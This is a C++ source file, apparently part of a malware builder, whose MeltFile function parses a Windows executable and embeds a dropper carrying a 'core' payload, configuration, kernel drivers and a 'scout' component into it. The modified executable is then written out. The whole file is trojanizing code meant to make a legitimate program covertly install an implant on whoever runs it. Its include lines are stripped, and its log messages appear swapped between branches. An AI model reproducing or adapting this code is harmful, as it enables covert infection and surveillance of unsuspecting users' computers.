#include #include #include #include #include #include #include using namespace std; #include namespace bf = boost::filesystem; #include "Exceptions.h" #include "FileBuffer.h" #include "PEObject.h" #include "DropperObject.h" #include "Manifest.h" #include "retcodes.h" #include "PEParser.h" #include "MeltFile.h" void print_hex(char const * const data, std::size_t length) { for (std::size_t j = 0; j < length; j++) { if (data[j] > 33 && data[j] < 126) printf("%c", data[j]); else printf("."); if ((j != 0) && (j % 32 == 0)) printf("\r\n"); } } int MeltFile( char const * const input_path, char const * const output_path, MelterStruct const * const melter_data, BOOL isScout, char *scout_file ) { RawBuffer* buffer = new RawBuffer(bf::path(input_path)); if (buffer->size() == 0) throw melting_error("File is 0 bytes long."); if (buffer->open() == false) throw melting_error("Failed opening file."); // we do not want the original file to be modified char* data = new CHAR[buffer->size()]; size_t size = buffer->size(); memcpy(data, buffer->const_data(), size); delete buffer; PEObject* object = new PEObject(data, size); if (object->parse() == false) { delete [] data; throw melting_error("Parsing failed."); } if (isScout) { bf::path core_path = melter_data->core; bf::path core64_path = ""; bf::path conf_path = ""; bf::path codec_path = ""; bf::path driver_path = ""; bf::path driver64_path = ""; bf::path bitmap_path = ""; bf::path scout_path = scout_file; try { printf("[*] trying embedDropper for SCOUT: core_path: %s, scout_path: %s\n", melter_data->core, scout_file); object->embedDropper(core_path, core64_path, conf_path, codec_path, driver_path, driver64_path, melter_data->instdir, melter_data->manifest, melter_data->fprefix, bitmap_path, TRUE, scout_path); } catch (std::exception& e) { throw melting_error(e.what()) ; } } else { printf("[+] This is a scout\n"); bf::path core_path = melter_data->core; bf::path core64_path = melter_data->core64; bf::path conf_path = melter_data->conf; bf::path codec_path = melter_data->codec ? melter_data->codec : ""; bf::path driver_path = melter_data->driver ? melter_data->driver : ""; bf::path driver64_path = melter_data->driver64 ? melter_data->driver64 : ""; bf::path bitmap_path = melter_data->demoBitmap ? melter_data->demoBitmap : ""; bf::path scout_path = ""; try { object->embedDropper(core_path, core64_path, conf_path, codec_path, driver_path, driver64_path, melter_data->instdir, melter_data->manifest, melter_data->fprefix, bitmap_path, FALSE, scout_path); } catch (std::exception& e) { throw melting_error(e.what()) ; } } if (object->saveToFile( output_path ) == false) throw melting_error("Cannot write output file."); delete [] data; return RETCODE_SUCCESS; } .